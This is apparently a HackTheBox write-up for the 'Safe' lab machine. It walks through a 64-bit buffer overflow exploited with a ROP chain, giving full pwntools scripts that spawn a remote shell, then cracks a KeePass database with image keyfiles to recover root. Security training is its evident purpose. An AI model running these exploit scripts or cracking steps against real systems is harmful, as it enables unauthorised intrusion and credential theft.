HTB: Safe Writeup

Safe - HackTheBox Writeup

Machine Information

AttributeDetails
NameSafe
OSLinux
DifficultyEasy
PointsN/A
Release Date25th October 2019
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Safe is an easy difficulty Linux machine featuring a vulnerable 64-bit binary running on port 1337 that is susceptible to a buffer overflow attack. The exploitation requires Return Oriented Programming (ROP) techniques to bypass NX protections and achieve remote code execution. Post-exploitation involves cracking a KeePass database using John the Ripper with image keyfiles to recover the root password. TL;DR: Enumerate port 1337 → download vulnerable binary → exploit buffer overflow via ROP gadgets → gain user shell → crack KeePass database with image keyfile → obtain root credentials.


Reconnaissance

Port Scanning

Terminal window
nmap -PN -p- --min-rate=1000 -T4 10.10.10.147
nmap -PN -sC -sV -p80,22,1337 10.10.10.147

Results:

  • Port 22: SSH (OpenSSH)
  • Port 80: HTTP (Apache)
  • Port 1337: Unknown service

Service Enumeration

Apache (Port 80)

Browsing to the web server reveals the default Apache page. Inspecting the page source reveals a crucial HTML comment:

/bin/myapp

This indicates that the binary running on port 1337 can be downloaded from the web server root. Download the binary for local analysis:

Terminal window
wget http://10.10.10.147/myapp
file myapp
# Output: ELF 64-bit LSB executable, x86-64

Port 1337 Service

The binary is a 64-bit ELF executable. Running it locally echoes back user input, suggesting it reads from stdin and prints output.

Vulnerability Assessment

  • Buffer Overflow: The binary uses the gets() function, which is vulnerable to unbounded buffer reads
  • NX Enabled: DEP/NX protections are active, preventing direct shellcode execution
  • ROP Gadgets Available: The binary imports system() and contains suitable ROP gadgets for exploitation
  • Function Analysis: A non-standard test() function exists that can be leveraged for ROP chains

Initial Foothold

Exploitation Path: Buffer Overflow via ROP

Step 1: Analyze Binary Protections

Terminal window
gdb ./myapp
(gdb) checksec
# Output shows NX is enabled, ASLR may be present

Step 2: Determine Buffer Size

Disassemble the main() function:

Terminal window
(gdb) disass main
# Analysis shows: mov rax, [rbp-0x70]
# Buffer size: 0x70 = 112 bytes

The buffer allocated is 112 bytes. Create a test input to confirm overflow:

Terminal window
python3 -c "print('A' * 112 + 'B' * 8)" | ./myapp

Confirm that RBP is overwritten with BBBBBBBB, validating we can control register values.

Step 3: Identify ROP Gadgets

Use ropper to find necessary gadgets:

Terminal window
ropper --file myapp --search "pop r13"
# Output: 0x0000000000401206: pop r13; pop r14; pop r15; ret;

Identify the address of the system() PLT entry:

Terminal window
objdump -d myapp | grep system
# Output: 0x000000000040116e <+15>: call 0x401040 <system@plt>

Identify the test() function address and its key instruction:

Terminal window
(gdb) disass test
# Output shows:
# 0x0000000000401156 <+4>: mov rdi,rsp
# 0x0000000000401159 <+7>: jmp r13

Step 4: Construct ROP Chain

Create the exploit script using pwntools:

#!/usr/bin/env python3
from pwn import *
# Local testing
p = process('./myapp')
# Payload construction
buf = b"A" * 120 # Overflow buffer (112) + RBP (8)
# ROP gadgets
pop_r13_r14_r15 = p64(0x401206) # pop r13; pop r14; pop r15; ret;
system_call = p64(0x40116e) # call system@plt
test_func = p64(0x401156) # mov rdi,rsp; jmp r13
# Binary string for /bin/sh with null terminator
binsh = b"/bin/sh\x00"
# Build chain: buffer + pop gadget + system addr + junk + junk + test func + /bin/sh
chain = buf + pop_r13_r14_r15 + system_call + b"BBBBBBBB" + b"CCCCCCCC" + test_func + binsh
p.sendline(chain)
p.interactive()

Step 5: Test Locally

Terminal window
python3 exploit.py
# Should spawn an interactive shell

Step 6: Deploy Against Target

Modify the script to target the remote service:

#!/usr/bin/env python3
from pwn import *
# Remote connection
p = remote("10.10.10.147", 1337)
# Payload construction
buf = b"A" * 120
# ROP gadgets
pop_r13_r14_r15 = p64(0x401206)
system_call = p64(0x40116e)
test_func = p64(0x401156)
binsh = b"/bin/sh\x00"
chain = buf + pop_r13_r14_r15 + system_call + b"BBBBBBBB" + b"CCCCCCCC" + test_func + binsh
p.sendline(chain)
p.interactive()

Execute the exploit:

Terminal window
python3 exploit_remote.py
# Interactive shell as 'user' user

Privilege Escalation

Step 1: Stabilize Shell Access

Upgrade the shell using SSH key authentication:

Terminal window
# From the spawned shell
mkdir -p ~/.ssh
# On local machine, generate key if needed
cat ~/.ssh/id_rsa.pub | ssh-copy-id -i /dev/stdin user@10.10.10.147
# Now SSH into the box for stability
ssh user@10.10.10.147

Step 2: Enumerate User Directory

Terminal window
ls -la ~
# Output shows:
# - MyPasswords.kdbx (KeePass database)
# - Multiple JPG files (IMG_*.JPG)

These images are likely keyfiles for the KeePass database.

Step 3: Extract KeePass Hashes

Transfer files to local machine:

Terminal window
scp user@10.10.10.147:~/* .

Generate KeePass hashes using each image as a keyfile:

#!/bin/bash
for i in *.JPG
do
keepass2john -k "$i" MyPasswords.kdbx >> hashes
done

Step 4: Crack KeePass Password

Use John the Ripper with rockyou.txt wordlist:

Terminal window
john hashes --wordlist=/usr/share/wordlists/rockyou.txt
# Output: bullshit

Step 5: Identify Correct Keyfile

The password is cracked, but we need to find which image is the correct keyfile. Create a script to test each image:

#!/bin/bash
for i in *.JPG
do
echo bullshit | kpcli --kdb MyPasswords.kdbx --key "$i" --command quit >/dev/null 2>&1
if [[ $? -eq 0 ]]
then
echo "Key: $i"
break
fi
done

Execute the script:

Terminal window
bash find_key.sh
# Output: Key: IMG_0547.JPG

Step 6: Access KeePass Database

Open the database with kpcli:

Terminal window
kpcli --kdb MyPasswords.kdbx --key IMG_0547.JPG
# Enter password: bullshit
(kpcli) cd MyPasswords
(kpcli) ls
(kpcli) show -f Root
# Reveals root password

Step 7: Obtain Root

Terminal window
su root
# Enter password from KeePass
cat /root/root.txt

Attack Chain Summary

Enumerate Port 1337 → Download myapp Binary →
Analyze Buffer Overflow (112 bytes) →
Identify ROP Gadgets (pop r13; system@plt; test function) →
Construct ROP Chain (/bin/sh execution) →
Remote Code Execution as 'user' →
SSH Access → Discover KeePass + Image Files →
Extract Hash with Image Keyfile →
Crack Password (rockyou.txt) →
Identify Correct Keyfile (IMG_0547.JPG) →
Access KeePass Database → Root Password → Root Access

Tools Used

ToolPurpose
nmapPort and service discovery
wgetDownload binary from web server
gdb / GEFBinary analysis and debugging
ropperROP gadget identification
objdumpDisassembly and symbol extraction
pwntoolsROP chain construction and exploitation
keepass2johnKeePass hash extraction
johnPassword cracking
kpcliKeePass database interaction
ssh / scpSecure shell and file transfer

Key Learnings

Techniques Practiced

  • Return Oriented Programming (ROP) gadget chaining
  • Buffer overflow exploitation in 64-bit binaries
  • NX bypass techniques via ROP
  • KeePass database analysis and cracking
  • Keyfile-based credential recovery
  • Binary reverse engineering with GDB and GEF
  • Automated password cracking workflows

Lessons Learned

  1. Buffer overflow remains critical: Despite modern protections, unsafe functions like gets() create exploitable conditions requiring careful ROP construction.

  2. ROP gadget discovery is essential: When direct code execution is blocked by NX, identifying suitable gadgets becomes the primary attack vector.

  3. Multi-factor security matters: KeePass keyfiles provide additional security layers; however, weak passwords and predictable keyfiles (named images) undermine this protection.

  4. Automation accelerates exploitation: Scripting the keyfile discovery process dramatically reduces manual effort in privilege escalation.

  5. Register calling conventions are critical: Understanding x64 calling conventions (RDI for first argument) is fundamental to crafting functional ROP chains.

  6. Post-exploitation stabilization is important: Upgrading from a spawned shell to SSH access provides reliability and enables further enumeration.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>